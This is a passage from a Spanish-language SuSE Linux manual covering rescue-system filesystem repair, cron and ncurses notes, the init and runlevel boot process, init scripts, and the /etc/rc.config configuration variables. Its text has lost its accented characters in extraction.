tierra:/ # mount /dev/sdb6 /mnt/usr
Ahora se tiene acceso a todo el sistema y se pueden corregir errores en los
ficheros de configuracin como en /etc/fstab, /etc/passwd o /etc/
inittab. Por supuesto, estos ficheros se encuentran ahora bajo /mnt/etc
en lugar de /etc.

378
16.5. Indicaciones sobre paquetes especiales

Todo usuario experimentado de Linux archiva cuanto antes un impreso en


papel de /etc/fstab y de la respuesta del comando fdisk -l. Si se sabe
exactamente dnde est una particin perdida, sera posible recuperarla
con fdisk, generndola de nuevo sencillamente.

Ejemplo: Arreglar sistemas de fichero


Un sistema de fichero daado es una razn seria para recurrir al sistema de
rescate. Se produce p. ej. por no haber apagado correctamente la computadora
(en caso de corte de la electricidad) o por un cuelgue de sistema. No se puede
arreglar un sistema de fichero durante el uso normal de la computadora y en
casos graves ni siquiera se puede montar el sistema de fichero raz y el
arranque termina en el mensaje "kernel panic". En tal caso solo queda la
posibilidad del arreglo desde fuera con un sistema de rescate.
Este sistema de SuSE Linux contiene las utilidades e2fsck y tambin
dumpe2fs para el diagnstico, lo que sirve para la mayora de problemas.
Generalmente en el caso de emergencia no se puede acceder a la Manpage de
e2fsck, por lo cual se encuentra impresa en el Apndice E, Pgina 463.
Ejemplo: Cuando un sistema de fichero se resiste a su montaje debido a un
Sper-bloque no vlido, lo ms probable es que e2fsck fracase en el intento
de arreglarlo. La solucin es usar uno de los respaldos del Sper-bloque, que
se encuentran cada 8192 bloques (bloque 8193, 16385 : : : ) en el sistema de
fichero. Se puede hacer con el comando:
tierra: # e2fsck -f -b 8193 /dev/<Particin_Daada>
La opcin -f fuerza la comprobacin del sistema de fichero para evitar que
e2fsck asuma que todo est en orden por el hecho de haber detectado la
copia intacta del Sper-bloque.

16.5 Indicaciones sobre paquetes especiales

16.5.1 paquete cron


Las tablas de cron ya no se encuentran bajo /var/lib/cron sino bajo
/var/cron/tabs. Como tabla de comandos para todo el sistema se genera
el fichero /etc/crontab. En este fichero hay que apuntar, adems de la in-
dicacin de hora, cul usuario encarga la tarea a ejecutar (ver Fichero 16.5.1,
donde se indica `root' como usuario).

1-59/5 * * * * root test -x /usr/sbin/atrun && /usr/sbin/atrun

Fichero 16.5.1: Ejemplo para una indicacin en /etc/crontab

No se puede usar el comando crontab -e para modificar /etc/crontab;


se debe modificar con un editor. Hay ms detalles sobre la configuracin de
cron en el apartado 15.2.5, Pgina 358.

379
16. Especialidades de SuSE Linux

16.5.2 paquete curses


El CD contiene ahora el paquete ncurses cuyas bibliotecas se denominan
libncurses.so.<xx>. Por eso hay que modificar en muchos Makefiles
los comandos para el Linker. No se deberan traducir paquetes propios con
-lcurses sino con -lncurses. Quienes lo desen hacer a pesar de todo,
deben usar los siguientes comandos:
-I/usr/include/termcap -I/usr/include/curses
-L/usr/lib/termcap -L/usr/lib/curses

16.5.3 Manpages
Para algunas aplicaciones GNU, no se siguen manteniendo las Manpages
(p. ej. tar). En su lugar hay ficheros del tipo info. Info (info) es el sistema
de hipertexto de GNU cuyo uso se explica con el comando info info. Se
puede llamar a info a travs de Emacs con el comando emacs -f info o
tambin slo con el comando info. Un uso agradable lo ofrecen tkinfo o
xinfo.

380
Captulo 17
El concepto de arranque de SuSE
Linux

El arranque y la inicializacin de un sistema UNIX provoca un hormigueo


incluso al administrador de sistemas ms experimentado. Este captulo da una
breve introduccin al concepto de arranque de SuSE Linux. Su concepto es
ms complejo pero tambin mucho ms flexible que el de la mayora de otros
Linux-Systems. Se basa en el moderno concepto de arranque System V-
Workstation, como p. ej. est descrito en [Fri93].
Con las especficas palabras "Uncompressing Linux..." el Kernel toma
el mando de todo el Hardware del sistema; comprueba y fija la consola 1 ,
para despus leer las prefijaciones de la BIOS e inicializar las interfaces el-
ementales de la Mainboard. En los prximos pasos los distintos drivers
que forman parte del Kernel prueban el Hardware presente, para realizar
una inicializacin en caso necesario. Despus del Chequeo de la particin
y la carga del Root-Filesystem2, el Kernel ejecuta el programa /sbin/init, el
cual realiza el autntico arranque del sistema con sus mltiples programas
auxiliares y sus configuraciones 3 . El Kernel sigue gestionando el sistema
completo, tiempo de clculo de los programas y sus accesos al Hardware.

17.1 El init-Programm
El programa /sbin/init es el proceso correspondiente para una inicializacin
correcta del sistema; se puede decir que es el Padre de todos los procesos
de sistema.
Dentro de todos los programas, init tiene un status especial: init es ejecutado
directamente por el Kernel y por lo tanto no tiene efecto la seal 9, con la cual
todos los procesos pueden ser interrumpidos. Los procesos siguientes son
ejecutados directamente por init o por uno de sus Procesos subordinados.
Se configura init centralizado a travs del fichero /etc/inittab; aqu se de-
finen los llamados Runlevel (se comenta ms detenidamente en la seccin
siguiente) y se prefija qu ha de ocurrir en los diferentes niveles. Dependien-
do de la escritura en /etc/inittab, init ejecuta diferentes scripts, que son
por cuestiones de organizacin juntados en el directorio /sbin/init.d.
1 Ms exactamente la BIOS-Register de la tarjeta grfica y el formato de salida de la pantalla.
2 Conectar de la Root-Partition al directorio /.
3 UNIX-Jargon :-)

381
17. El concepto de arranque de SuSE Linux

As, todo el proceso de arranque y naturalmente la secuencia de apagado


es controlado por el proceso init; en este sentido se puede considerar el
Kernel prcticamente como Proceso en segundo plano, el cual tiene como
objetivo, gestionar los procesos arrancados, dedicarles tiempo de clculo y
posibilitar y controlar el acceso al Hardware.

17.2 Los Runlevel


Bajo Linux existen diferentes Runlevel (nivel de ejecucin), que definen, qu
estado debe tener el sistema. El Runlevel estndar, en el cual arranca el
sistema, est en el fichero /etc/inittab inscrito mediante initdefault;
normalmente es 2 o 3 (ver Tabla 17.1). Alternativamente se puede introducir
el Runlevel requerido en el proceso de arranque (p. ej. en LILO-Prompt); el
Kernel transfiere parmetros que l no puede tratar sin modificar al proceso
init.
Se puede cambiar a otro Runlevel, solo introduciendo init con el nmero
corresponiente; naturalmente el cambio a otro Runlevel solo puede ser ges-
tionado por el Administrador de sistema.
Por ejemplo se logra mediante el siguiente comando
root@tierra:/ > init S
entrar en el modo llamado single user mode, el cual se preocupa del manten-
imiento y administracin del sistema. Despus de que el administrador del
sistema ha acabado su trabajo se puede iniciar para que con
root@tierra:/ > init 2
arranque el sistema en el Runlevel corriente, en el cual todos los programas
necesarios se ejecutan y los User individuales pueden dar un aviso al sistema.
La Tabla 17.1 da una orientacin sobre los Runlevel disponibles. Runlevel 1
no debera ser utilizado en un sistema del cual /usr-Partition est cargado
va NFS!

Runlevel Significado
0 Stop
S Single User Mode
1 Multi User sin red
2 Multi User con red (estndar)
3 Multi User con red y Xdm
4 Libre
5 Libre
6 Reboot
Tabla 17.1: Lista de los Runlevel disponibles bajo Linux

En consecuencia resulta que tambin se puede parar el sistema con


root@tierra:/ > init 0
o reinicializndolo de nuevo con,
root@tierra:/ > init 6.

382
17.3. Cambio del Runlevel

Si ya se ha configurado en la computadora el Sistema X Window (aparta-


do 9.1) y se quiere que los usuarios avisen directamente en la interfcie
grfica del sistema, se puede cambiar el valor del Runlevel estndar en
/etc/inittab a 3. Antes de realizar esta operacin, se debera chequear
mediante la introduccin de
root@tierra:/ > init 3
si el sistema funciona tal cual como se desea.

Un /etc/inittab destruido puede hacer que el sistema ya no arranque


correctamente. Hay que tener cuidado al modificar este fichero.
Como ayuda de emergencia se puede intentar transferir el parmetro
init=/bin/sh del LILO-Prompt, para arrancar directamente dentro de
una Shell (ver apartado 4.3, Pgina 108); se puede hacer del siguiente mo-
do: boot: linux init=/bin/sh

17.3 Cambio del Runlevel


En un cambio del Runlevel ocurre generalmente lo siguiente: Los llamados
scripts de parada del Runlevel actual se ejecutan los diferentes programas
que se estn ejecutando en este nivel se finalizan y los scripts de arranque
del nuevo Runlevel se inicializan. En un procedimiento como ste, en la
mayora de los casos se ejecutan varios programas.
Para clarificar esto, consideramos en un ejemplo, qu ocurre, si cambiamos
del Runlevel 2 a Runlevel 3:
 El administrador (`root') comunica al proceso init que debe cambiar el
Runlevel:
root@tierra:/ > init 3
 init consulta el fichero de configuracin /etc/inittab y detecta que el
script /sbin/init.d/rc debe ser llamado con el nuevo Runlevel como
parmetro.
 Ahora llama rc a todos los Stop-scripts del Runlevel actual, para los
cuales no existe un Start-script en el Runlevel nuevo; en nuestro ejemplo
son todos los scripts, que se encuentran en el subdirectorio /sbin/init.
d/rc2.d (el ltimo Runlevel era 2) y que comienzan con `K'4. El nmero
que sigue a la `K' asegura, que se mantenga un cierto orden en el proceso,
porque ocasionalmente algunos programas dependen de otros.
 Por ltimo son llamados los Start-scripts del nuevo Runlevel; estos estn
en nuestro ejemplo en /sbin/init.d/rc3.d y empiezan con una `S'.
Tambin aqu se mantiene un orden determinado el cual esta fijado por el
nmero que sigue de la `S'.
Si cambia al mismo Runlevel en cual se encuentra,init lee solo el /etc/
inittab, comprueba el fichero para cambios existentes y en caso necesario
realiza los procedimientos adecuados (p. ej. ejecuta un getty en otra inter-
faz).
4 Los nombres de los Stop-scripts empiezan siempre con `K' (ingl. kill), los de los Start-scripts

con `S' (ingl. start).

383
17. El concepto de arranque de SuSE Linux

17.4 Los Init-scripts


Concepto Los scripts bajo /sbin/init.d se dividen en dos categoras:
 scripts, que son llamados directamente por init: Esto solo sucede en caso
  
de arranque as como tambin en caso de un apagado instantneo (en caso
fallo de tensin o por pulsar la combinacin de teclas Ctrl + Alt +
deSuppr por parte del usuario).
 
 scripts, que son llamados indirectamente por init: Esto ocurre en caso de
un cambio del Runlevel; aqu generalmente se ejecuta el script superior
/sbin/init.d/rc, el que se encarga de que sean llamados los scripts corre-
spondientes en su secuencia correcta.
Todos los scripts se encuentran bajo /sbin/init.d. Los que se usan para
el cambio del Runlevel se encuentran tambin en este directorio, pero son
llamados siempre como un enlace simblico desde uno de los subdirectorios
/sbin/init.d/rc0.d hasta /sbin/init.d/rc6.d. Esto sirve para orga-
nizar y, evita que los scripts tengan que estar presentes varias veces, por ser
utilizados en diferentes Runlevel. Para que cada uno de los scripts pueda ser
llamado como Start- o Stop-script, stos tienen que entender los dos parmet-
ros start y stop.
Ejemplo Al salir del Runlevel 2 es llamado /sbin/init.d/rc2.d/K40network;
/sbin/init.d/rc llama el script /sbin/init.d/network con el parmetro
stop. Por ltimo, al entrar en Runlevel 3, se ejecuta el mismo script pero
ahora con el parmetro start.
Los enlaces en los subdirectorios especficos de los Runlevel solo sirven para
unir cada script con un determinado Runlevel.
Boot y A continuacin se encuentra una breve descripcin del primer Boot- y del
Shutdown ltimo Shutdown-scripts as como del script de control:
 boot
Es ejecutado directamente por init en el arranque del sistema. Es inde-
pendiente del Default-Runlevel requerido y se ejecuta solo una vez. Aqu
se ejecuta el Kernel-Daemon, que se encarga de la carga automtica de los
mdulos-Kernel. Se realiza la comprobacin de los sistemas de ficheros,
ficheros sobrantes bajo /var/lock se eliminan y la red se configura para
el Loopback-Device, en caso que sea apuntado en /etc/rc.config. Ac-
to seguido se fija el tiempo real del sistema y el Plug-and-Play-Hardware
es configurado mediante los isapnp-Tools (ver apartado 11.2, Pgina 269
.
Si aparece un fallo grave durante la comprobacin y reparacin automti-
ca de los sistemas de fichero, el administrador del sistema tiene la posi-
bilidad de resolver el problema manualmente, despus de haber entrado
el cdigo de seguridad.
Este script tiene adjudicado adems el directorio /sbin/init.d/boot.
d; todos los scripts encontrados, que comiencen con `S', son automti-
camente ejecutados en el proceso de arranque del sistema. Este es el sitio
ideal para ampliaciones personales, que solo tienen que ser activadas una
vez en el proceso de arranque.
Por ltimo se ejecuta el script boot.local.

384
17.5. /etc/rc.config y SuSEconfig

 boot.local
Aqu se pueden introducir ms cosas que se deban ejecutar en el arranque,
antes que el sistema entre en uno de los Runlevel; se puede hacer la
comparacin con el fichero AUTOEXEC.BAT bajo DOS.
 boot.setup
Son fijaciones bsicas que se deben realizar cuando se cambia desde el
single user mode a cualquier otro Runlevel. Aqu se cargan la distribucin
del teclado y la configuracin de la consola.
 halt
Este script solo se ejecuta entrando en Runlevel 0 o 6. Entonces es ejecu-
tado mediante el nombre halt o el nombre reboot. Dependiendo de cmo
se llama a halt, el sistema se reinicializa o se apaga totalmente.
 rc
Es el script superior, el cual es llamado en cada cambio del Runlevel.
Ejecuta los Stop-scripts del Runlevel actual y despus los Start-scripts del
nuevo.
Scripts propios
Se pueden aadir scripts propios mediante este concepto; un patrn est
preparado en /sbin/init.d/skeleton. Para controlar la ejecucin de un
script propio mediante el /etc/rc.config, se debera crear una variable-
<START_> y entonces usarla en el propio script; parmetros adicionales

solo deben ser introducidos en el /etc/rc.config en casos justificados (ver


p. ej. el script /sbin/init.d/gpm).
Ahora se deben crear enlaces desde cada directorio rc al script nuevo, para
que ste se ejecute cambiando de Runlevel; ver apartado 17.3, Pgina 383.
Tambin en la misma referencia se explica la asignacin de nombres a
los enlaces. Los detalles tcnicos se describen en la Manpage de init.d
(man 7 init.d).

Elaborando scripts propios hay que tener cuidado un script con fallos es
capaz de provocar el bloqueo de la computadora; ver apartado 17.2, si se
diera el caso en que deje de funcionar el sistema : : :

17.5 /etc/rc.config y SuSEconfig


Prcticamente toda la configuracin de SuSE Linux se puede realizar medi-
ante el fichero de configuracin central /etc/rc.config. Este fichero con-
tiene una serie de variables de entorno que son evaluadas por los spripts de
inicializacin (ingl. init scripts). Cada uno de los scripts en /sbin/init.d
carga como primer fichero /etc/rc.config para acoger los valores actuales
de cada variable.

Desde SuSE Linux 6.0 se cargan paquetes con muchas posibilidades de


configurar sus variables en ficheros en el directorio /etc/rc.config.d;
esto pasa p. ej. con el paquete i4l (RDSI).

Adems se pueden generar muchos ms ficheros de configuracin del sistema


en dependencia de /etc/rc.config; de esto se encarga /sbin/SuSEconfig.

385
17. El concepto de arranque de SuSE Linux

As p. ej., despus de un cambio en la configuracin de la red se genera de


nuevo el fichero /etc/resolv.conf, porque depende de la manera de cmo
est configurado.
Entonces si se realizan cambios en /etc/rc.config, se debe ejecutar pos-
teriormente SuSEconfig, para asegurar, que los datos prefijados acten en
todos los sitios correspondientes. Si se cambia la configuracin con YaST,
entonces no hay que preocuparse expresamente de esto; YaST ejecuta au-
tomticamente SuSEconfig, con lo cual se actualizan los ficheros correspon-
dientes.
Este concepto, permite realizar cambios fundamentales en la configuracin
de la computadora, sin necesidad de arrancar de nuevo. Debido a que algunos
cambios son muy profundos, segn las circunstancias, algunos programas
tienen que ser arrancados de nuevo. Este procedimiento se describe p. ej. en
la configuracin de la red (ver apartado 6.2), donde con la utilizacin de los
comandos
tierra: # /sbin/init.d/network stop
tierra: # /sbin/init.d/network start
se consegua que, los programas que eran afectados por los cambios, se ar-
rancaran de nuevo. Como se puede observar, los Init-scripts tambin pueden
ser ejecutados manualmente.
Generalmente para la configuracin del sistema se aconseja el siguiente pro-
cedimiento:
 Conmutar el sistema en el single user mode:
tierra: # init S
Alternativamente se puede usar el Runlevel 1, el cual permite adems,
realizar un login desde varias consolas:
tierra: # init 1
 Realizar los cambios requeridos en el fichero de configuracin /etc/rc.
config. Esto se puede hacer con cualquier editor o con YaST bajo el pun-
to `Modificar fichero de configuracin' (ver apartado 17.6).
 Ejecutar SuSEconfig, para realizar los cambios en los diferentes ficheros
de configuracin. Esto ocurre automticamente si el fichero /etc/rc.
config es modificado con YaST.
 Regresar el sistema al Runlevel anterior:
tierra: # init 2
Este procedimiento es solo necesario en caso de cambios amplios en la con-
figuracin del sistema (p. ej. configuracin de la red); para tareas simples de
administracin no hace falta entrar en el single user mode; sin embargo, as
se asegura que todos los programas afectados por las modificaciones arran-
quen de nuevo.

Para desconectar siempre la configuracin automtica va SuSEconfig,


se puede activar la variable <ENABLE_SUSECONFIG> en la /etc/
rc.config (ver la advertencia en apartado 17.6, Pgina 387). Tambin
es posible, mediante variables adecuadas de rc.config deshabilitar la
configuracin automtica selectivamente.

386
17.6. Las variables en /etc/rc.config Configuracin de sistema

17.6 Las variables en /etc/rc.config


A continuacin se comentarn brevemente los parmetros individuales del
sistema y sus estados. Si no se trata el fichero de configuracin /etc/rc.
config con YaST, se ha de tener cuidado de anotar un parmetro vaco
como dos comillas consecutivas (p. ej. KEYTABLE="") y de anotar tambin
los parmetros que contienen espacios entre comillas. Para variables que se
componen de una palabra no hace falta hacerlo.
En la siguiente descripcin, cada parmetro tiene un valor para explicar las
posibles variaciones:

Configuraciones bsicas
 ENABLE_SUSECONFIG=yes
Determina si SuSEconfig tiene que realizar una configuracin. No se
debe apagar nunca si se quiere utilizar el soporte de instalacin ;-)
 MAIL_REPORTS_TO=tux
Determina a quin enva SuSEconfig informes para la administracin del
sistema va E-Mail.
 GMT=-u
Si el Hardware-Reloj est fijado a GMT (Greenwich Mean Time), se fija
esta variable a -u5 , sino se deja vaca. Este ajuste es importante para el
cambio automtico de tiempo de verano a invierno y viceversa.
 TIMEZONE=CET
La franja horaria donde se vive. Es importante tambin para el cambio
automtico de tiempo de verano a invierno y viceversa.
 LANGUAGE="german"
Lo define YaST, cuando se ha hecho una modificacin al respecto con
`Eligir el idioma' (ver apartado 3.3.1, Pgina 74). El valor que se
define aqu sirve tambin de referencia cuando no estn definidos ni LANG
ni las variables LC_*; en tal caso el valor indicado se resuelve mediante
el fichero /usr/share/locale/locale.alias.
 RC_LANG="de_DE"
Define $LANG para locale; con ello es posible definir un valor por
defecto para los usuarios. Este valor es vlido hasta el momento en que
se definan algunas variables RC_LC_* especiales.
Las variables tpicas de rc.config son: RC_LC_ALL (Con esta ltima se
puede sobre-escribir la $LC_* tal como la $LANG!), RC_LC_MESSAGES,
RC_LC_CTYPE, RC_LC_MONETARY, RC_LC_NUMERIC, RC_LC_TIME y
RC_LC_COLLATE.
Ver Manpage de locale (man 5 locale).
 ROOT_USES_LANG="no"
Esto es para definir si tambin se deben usar los ajustes tipo locale para
`root'.
 INIT_SCRIPT_USE_LANG="no"
Usarlocale en scripts de tipo init? Mejor no hacerlo ;-)
5 El -u es una abreviatura para universal time.

387
17. El concepto de arranque de SuSE Linux

Inicializar hardware local (Teclado, modem, mouse, PCMCIA etc.)


 KEYTABLE=de-latin1-nodeadkeys
Define la ocupacin del teclado.
 KBD_NUMLOCK=no

Bloq Num no conectar en el proceso de arranque.
 KBD_CAPSLOCK=no

Bloq Mays no conectar en el proceso de arranque.
 KBD_RATE=30
Determina la velocidad de repeticin de teclas. Posibles configuraciones
son de 2 a 30 veces por segundo. Para que tengan efecto los valores
determinados al mismo tiempo se tiene que determinar el retardo (ver
KBD_DELAY)!
 KBD_DELAY=250
Aqu se puede introducir el retardo, despus de que entre la funcin de
repeticin. El valor es en milisegundos, pero los pasos no son muy exac-
tos. Tambin se tiene que fijar KBD_RATE!
 FONT=mr.fnt
La fuente que se debe cargar para la consola. No todas las fuentes sopor-
tan la diresis alemana! Con YaST se pueden probar tranquilamente todas
las fuentes y fijar la que ms guste.
 MODEM=/dev/ttyS1
La interfaz a la cual est conectado el modem. De YaST o SuSEconfig
se crea un enlace desde /dev/modem al device determinado.
 MOUSE=/dev/ttyS2
La interfaz a la cual est conectado el mouse. De YaST o SuSEconfig se
crea un enlace desde /dev/mouse al device determinado.
 START_GPM=yes
Controla si se inicia el soporte del mouse para la consola; con ello se
puede transferir texto mediante el mouse entre diferentes consolas. GPM
presenta problemas al trabajar con algunos mouse de Bus, por tanto, si
ocurren problemas con el mouse al manejar X, se debera dejar de iniciar
GPM o utilizar directamente xdm, ya que en el Runlevel 3 generalmente
no se ejecuta GPM.
 GPM_PARAM=" -t logi -m /dev/mouse"
Los parmetros para el GPM; normalmente se abastecen de YaST.
 PCMCIA=i82365
Sirve para ajustar el chipset; valores vlidos son i82365 o tcic. Si
se define la variable como "", no arranca el PCMCIA-Subsystem. Es
posible realizar ajustes finos mediante las variables PCMCIA_PCIC_OPTS
y PCMCIA_CORE_OPTS.

Configurar e iniciar servicios de red y locales


 START_LOOPBACK=yes
Determina si se instala una Mini-Red, en la cual se configura el llamado
Loopback-Device. Debera ser activado ya que muchos programas nece-
sitan esta funcionalidad 6 .
6 Naturalmente el Kernel debe dar soporte de red l!

388
17.6. Las variables en /etc/rc.config Configuracin de sistema

 CHECK_ETC_HOSTS=yes
Determina si SuSEconfig ha de comprobar y modificar /etc/hosts.
 SETUPDUMMYDEV=yno
Determina si el Dummy-Device debe estar instalado; esto es til en casos
de conexiones no-permanentes de red (p. ej. SLIP oder PPP), sin embargo,
si tiene una tarjeta Ethernet, a veces esta funcin deja de ser til.
 CREATE_HOSTCONF=yes
Determina si SuSEconfig ha de comprobar y modificar /etc/host.
conf.
 CREATE_RESOLVCONF=yes
Determina si SuSEconfig ha de comprobar y modificar la /etc/resolv.conf.
Si yes est activado y una de las variables SEARCHLIST o NAMESERVER
est vaca, entonces se supone que ningn DNS es requerido y /etc/
resolv.conf puede ser borrado. En el caso de que se active no, entonces
se deja /etc/resolv.conf sin modificar.
 NETCONFIG=_0
Determina cuntas tarjetas (u otros dispositivos de red) tiene instalada
la computadora. Aqu se indica el ejemplo para una tarjeta de red (se
enumeran empezando por 0); en una mquina con dos tarjetas debera
aparecer NETCONFIG="_0 _1". En una computadora sin tarjeta de red
no se introduce nada.
 IPADDR_0=193.141.17.202
La direccin-IP para la primera tarjeta de red.
 NETDEV_0=eth0
El nombre del primer dispositivo de red (normalmente una tarjeta de red
Ethernet), por esto el valor eth0. Otros posibles valores son str1 o
plip1. Si la computadora dispone de ms de una tarjeta de red, se activan
paralelamente las variables NETDEV_1 hasta NETDEV_3.
 IFCONFIG_0="193.141.17.205 broadcast 193.141.17.255
netmask 255.255.255.192"
El comando de configuracin para el primer dispositivo de red. Se ac-
tiva muy fcilmente con YaST. Si se tiene ms de una tarjeta de red se
introducen aqu las correspondientes variables en la lnea de comandos.
 NETWORK_0="-net 193.141.17.0"
La direccin de red para la primera tarjeta. Si se utilizan conexiones
Point-To-Point (p. ej. con PLIP) YaST pone esta variable al valor
"-host 193.141.17.202", que corresponde a la direccin IP de la
contraparte PPP.
 CLOSE_CONNECTIONS=false
Si est activado true y el Runlevel es 0 6 (halt o reboot),
/sbin/init.d/route enva una seal SIGTERM a todos los procesos
que tienen una conexin remote tcp- o udp abierta.
 IP_DYNIP=no
Encender el dynamic IP patch durante el tiempo de arranque; con yes
el script /sbin/init.d/boot libera este parche mediante una entrada
en el sistema de ficheros /proc.
 IP_FORWARD=no
Para que la computadora pase informacin a travs de dos interficies de

389
17. El concepto de arranque de SuSE Linux

red, la variable IP_FORWARD debe estar en yes. Se trata de algo deseado


o quizs necesario en el caso de un enrutador o para Masquerading.
El script /sbin/init.d/boot pone en funcionamiento IP-Forwarding
mediante una entrada en el sistema de ficheros /proc.
 FQHOSTNAME=tierra.cosmos.univ
El nombre totalmente cualificado, es decir, el nombre completo com-
puesto de nombre de computadora y nombre de dominio.
 SEARCHLIST=cosmos.univ
Este comando se utiliza para completar un nombre de un Host que
no lo est. Si se utiliza p. ej. el nombre venus, se comprueba si
venus.cosmos.univ es un nombre vlido para una computadora. Esta
variable tiene que ser suministrada si se quiere utilizar DNS! Como mn-
imo se debe introducir su nombre-Domain. Se pueden introducir hasta
tres comandos en la searchlist, que deben estar separados por espacios
vacos.
 NAMESERVER=193.141.17.193
La direccin del Name-Server, la cual pregunta si el nombre de la com-
putadora debe ser convertido en una direccin IP. Se pueden introducir
hasta 3 Nameserver, donde sus direcciones estn separadas por espacios
vacos.
Si se quiere utilizar un Nameserver, se debe dar un valor a la variable
SEARCHLIST!
 ORGANIZATION="Duck, Patolandia"
El texto introducido aqu aparece en cada News-Posting que se enva
desde la computadora correspondiente.
 NNTPSERVER=sol.cosmos.univ
La direccin del Servidor de Noticias; si se recibe las noticias va UUCP
y se almacenan localmente, se debe introducir aqu localhost.
 IRCSERVER=sol.cosmos.univ
Aqu se pueden introducir varios IRC-Server (Internet Relay Chat). Los
nombres de los diferentes servidores se separan aqu mediante espacios.
 START_INETD=yes
Activa el sper-daemon del tipo inetd, que reacciona frente a peticiones
de conexin por parte de otras computadoras e inicia, segn el puerto
elegido, el servicio correspondiente. Se necesita para poder acceder a la
computadora va rlogin o telnet. No obstante, se pone START_INETD en
no, si se quiere usar el xinetd (ver apartado 17.6, Pgina 390).
 START_XINETD=no
Activa el sper-daemon xinetd, el inetd extendido (ver aparta-
do 17.6, Pgina 390). Usando este extended Internet services daemon,
START_INETD debe estar seleccionado a no.
 SENDMAIL_xxxx=
El significado de las variables en sendmail se explica en apartado 7.5,
Pgina 187.
 START_POSTFIX=no
Activa el servidor de correo postfix. Las variables que le corresponden
son

390
17.6. Las variables en /etc/rc.config Configuracin de sistema

POSTFIX_CREATECF, POSTFIX_RELAYHOST,
POSTFIX_MASQUERADE_DOMAIN y POSTFIX_LOCALDOMAINS.
 SMTP=no
Determina si el daemon de Sendmail debe correr. No hace falta activar
esta opcin si recibe su E-Mail exclusivamente por UUCP, suponiendo
que ejecuta sendmail -q despus de cada recepcin de correo (polling),
ya que UUCP llama a rmail y ste solamente coloca el mensaje adentro
de la cola de recepcin pero no lo entrega. En una red, en la que todos
los directorios de recepcin de mensajes se montan va NFS y donde cada
computadora no tiene ms que mensajes salientes, esta variable tambin
puede estar en no; lo mismo es vlido usando un Relay Hosts.
 START_KERNELD=yes
Esta opcin determina si se inicia automticamente el daemon del kernel
cuando arranca la computadora o no. Este daemon se encarga de levantar
mdulos de kernel segn la necesidad. Con el kernel estndar actual
(versin 2.2.xx) no se necesita kerneld. En el apartado 13.2 hay una
introduccin corta sobre el concepto de mdulos.
 START_PORTMAP=no
La variable determina si el Portmapper (mapeador de puertos) debe ar-
rancar, lo que hace falta si la computadora debe actuar de servidor NFS
(ver apartado 6.5). Sin el Portmapper no se pueden arrancar los dae-
mons rpc.mountd y rpc.nfsd, por lo que el Portmapper se inicia tambin
cuando esta variable vale no con NFS_SERVER activado. El Portmapper
tambin hace falta para el uso de NIS (ver apartado 6.4).
 NFS_SERVER=no
Poner esta variable en yes para que la computadora acte como servidor
NFS. El efecto es el inicio de lo daemons rpc.nfsd y rpc.mountd. Hay
ms explicaciones detalladas sobre el funcionamiento de un servidor NFS
(p. ej. la definicin de los directorios a exportar) en al apartado 6.5.
 REEXPORT_NFS=no
Poner el valor de esta variable a yes, para poder reexportar directorios
montados del tipo NFS o NetWare.
 NFS_SERVER_UGID=no
Aqu se determina si el daemon para el la conversin de los IDs de
usuario y grupo (rcp.ugidd) se debe activar; la variable solo tiene efecto
si <NFS_SERVER> est en yes.
 START_AMD=no
Iniciar el Automounter; si no existen buenas razones para ello, es preferi-
ble usar el mdulo del kernel autofs (ver ms abajo Pgina 391).
 START_AUTOFS=no
Este daemon permite montar automticamente directorios locales (lec-
tores CD-ROM, Disqueteras, etc.) al igual que aquellos que se accedan
va NFS. El paquete autofs, serie n debe estar instalado y configurado.
 START_RWHOD=no
Decide sobre el arranque de rwhod. Se debe tener cuidado, ya que el
rwhod enva continuamente Broadcasts que pueden provocar costes si
se levantan conexiones por demanda de RDSI y/o diald.

391
17. El concepto de arranque de SuSE Linux

 START_ROUTED=no
Este daemon de encaminar (ingl. route daemon) solo se necesita para el
routing dinmico (ver Manpage de routed (man routed)). Atencin!
se trata de un servicio que provoca trfico de red cada 30 segundos. Por
eso carece completamente de sentido activar la opcin con yes si la com-
putadora est conectada a Internet por Dialup (p. ej. RDSI).
 START_NAMED=no
Determina si arranca o no el daemon de nombre.
 CREATE_YP_CONF=yes
Aqu se define si SuSEconfig debe generar automticamente los ficheros
necesarios para el uso de YP (ver apartado 6.4). Adems se adaptan segn
necesidad los ficheros de configuracin /etc/passwd y /etc/group.
 YP_DOMAINNAME=cosmos.univ
El nombre de dominio YP de la computadora. Informaciones detalladas
se encuentran en el apartado 6.4.
 YP_SERVER=sol.cosmos.univ
El nombre del servidor NIS.
 USE_NIS_FOR_RESOLVING=no
Usar o no usar NIS para resolver los nombres de las computadores.
 START_CIPED=no
Iniciar el daemon CIPE para un tnel IPIP.
 START_DHCPD=no
Iniciar el servidor de DHCP (ingl. Dynamic Host Configuration Proto-
col). A esta configuracin pertenecen las variables DHCPD_INTERFACE,
START_DHCRELAY y DHCRELAY_SERVERS.
 START_LDAP=no
Iniciar el servidor LDAP.
 START_RADIUSD=yes
Iniciar Radius-Accounting y Authentication Service. Existen p. ej. deter-
minados servidores Dialin que usan este servicio para la autentificacin
de usuario; ver la documentacin en /usr/doc/packages/radiusd.
 START_LPD=yes
Iniciar el daemon de impresin lpd (ingl. Line Printer Daemon), que se
necesita generalmente para imprimir.
 START_NNTPD=yes
Iniciar nntpd, que permite el acceso a noticias locales va NNTP.
 START_INN=no
Iniciar servidor de noticias INN.
 START_ATD=yes
Con esta variable se puede iniciar el daemon AT. Este permite ejecutar
ciertas tareas en un determinado momento. En comparacin al daemon
Cron, se trata de una accin que se realiza una sola vez.
 START_HTTPD=yes
Indica si se debe iniciar el daemon http Apache.
 START_HTTPSD=yes
Determina si se debe iniciar el servidor web seguro Apache-httpsd us-
ando SSL y PHP3.

392
17.6. Las variables en /etc/rc.config Configuracin de sistema

 START_SQUID=no
Indica si Squid debe iniciarse.
 DOC_HOST=""
Si existe un servidor central con documentacin que contiene el sistema
de ayuda de SuSE, se debera indicar aqu el nombre del mismo p. ej.
"sol.cosmos.univ".
 DOC_SERVER=no
El servidor que lleva la documentacin debe tener esta variable definida
en yes. En este caso el acceso a http-rman se otorga en funcin de las
indicaciones en DOC_ALLOW (ver la prxima variable) y los ficheros de
ndice del servidor se reconfiguran al respecto. En lugar de apuntar a
http://localhost apuntarn a http://`hostname-f` .
 DOC_ALLOW="LOCAL"
Lista de las computadoras o de los dominios como plantilla de /etc/
hosts.allow, para determinar aquellas que tienen acceso al servidor de
documentacin. La variable solo se contempla cuando DOC_SERVER
est en yes. Tambin es posible indicar un sub-dominio (p. ej.
".cosmos.univ").
 HTTP_PROXY=""
Hay algunos programas (p. ej. lynx, arena o wget) que son capaces de
usar un servidor proxy si esta variable est configurada al respecto.
